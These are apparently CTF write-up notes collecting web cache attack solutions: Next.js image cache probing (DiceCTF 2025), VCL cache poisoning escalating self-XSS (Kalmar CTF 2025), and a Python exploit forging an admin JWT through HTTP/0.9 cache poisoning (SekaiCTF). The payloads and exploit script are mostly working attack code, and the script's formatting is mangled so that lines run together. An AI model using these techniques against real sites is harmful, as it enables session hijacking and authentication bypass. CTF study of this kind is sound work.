Cache probing attack in nextjs special path _next/image

Event Name DiceCTF Quals 2025
GitHub URL -
Challenge Name old-site-b-side

  1. register -> send payload <?><img src=http://localhost:3000/_next/image?url=/api/me/badge&w=640&q=1>
  2. serving and send the url of this html to the bot
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <script>
        for (let i = 0; i < 100; i++) {
            open("<http://localhost:3000/>")
        }
    </script>
</body>
</html>

  1. access https://old-site-b-side-67db156495d8575a.dicec.tf/_next/image?url=/api/me/badge&w=640&q=1 to get gif flag

Cache Poisoning in VCL can escalate self XSS to XSS

Event Name Kalmar CTF 2025
GitHub URL https://github.com/kalmarunionenctf/kalmarctf/tree/main/2025
Challenge Name Kalmar Notes

GET /note/126588202765/long?.js HTTP/2
Host: b5b5616f803aea138236147c5301829b-44533.inst1.chal-kalmarc.tf
Cookie: session=eyJ1c2VyX2lkIjoyfQ.Z8_7DQ.1KQIw30edxTFfpnn0WJ60HpSlTw
sub vcl_recv {
    if (req.url ~ "\.(js|css|png|gif)$") {
        set req.http.Cache-Control = "max-age=10";
        return (hash);
    }
}

Chunky (Unitended) (SekaiCTF

cache poisoning using request smuglingchunky unintended: GET /{user_id}/.well-known/jwks.json /../../..{post_url} server thinks its http/0.9 and it caches the response no transfer-encoding stuff needed.

import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json
import httpx
from pwn import *# URL = "<http://localhost:8080>"URL = "<http://chunky.chals.sekai.team:8080/>"context.log_level = logging.INFO
class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
class UtilsAPI(BaseAPI):
    def __init__(self, url=URL) -> None:
        self.private_key = rsa.generate_private_key(
            public_exponent=65537,
            key_size=2048        )
        self.public_key = self.private_key.public_key()
        super().__init__(url)
    def generate_jwks(self):
        pem = self.public_key.public_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PublicFormat.SubjectPublicKeyInfo,
        )
        x5c = pem.decode().split("-----")[2].strip()
        jwks = {
            "keys": [
                {
                    "alg": "RS256",
                    "x5c": [x5c]
                }
            ]
        }
        return jwks
    def get_private_key_pem(self):
        private_key_pem = self.private_key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        )
        return private_key_pem
    def send_raw(s, raw):
        r = remote(s.c.base_url.host, s.c.base_url.port)
        r.send(raw)
        return r.recv(4092).decode().replace("\r\n", "\n")
class API(UtilsAPI):
    def signup(s, username, password):
        return s.c.post("/signup", data={
            "username": username,
            "password": password
        })
    def login(s, username, password):
        return s.c.post("/login", data={
            "username": username,
            "password": password
        })
    def create_post(s, title, content):
        return s.c.post("/create_post", data={
            "title": title,
            "content": content
        })
    def flag(s, auth):
        return s.c.get("/admin/flag", headers={
            "Authorization": "Bearer "+auth
        })
if __name__ == "__main__":
    api = API()
    username = "dimas"    password = "dimas"    api.signup(username, password)
    api.login(username, password)
    title = json.dumps(api.generate_jwks())
    payload = f"""\HTTP/1.1 200 OkContent-Type: application/jsonContent-Length: {len(title)}Connection: close\r{title}"""    res = api.create_post(payload, "")
    location = res.headers['location']
    log.info("Location: %s", location)
    userid = location.split("/")[-2]
    log.info("User Id: %s", userid)
    raw = f"""\GET /{userid}/.well-known/jwks.json /../../..{location}host: xConnection: close\r""".encode()
    # send cache poisoning    api.send_raw(raw)
    auth = jwt.encode(
        payload={"user": "admin"},
        key=api.get_private_key_pem(),
        algorithm="RS256"    ).decode()
    res = api.flag(auth)
    print(res.text)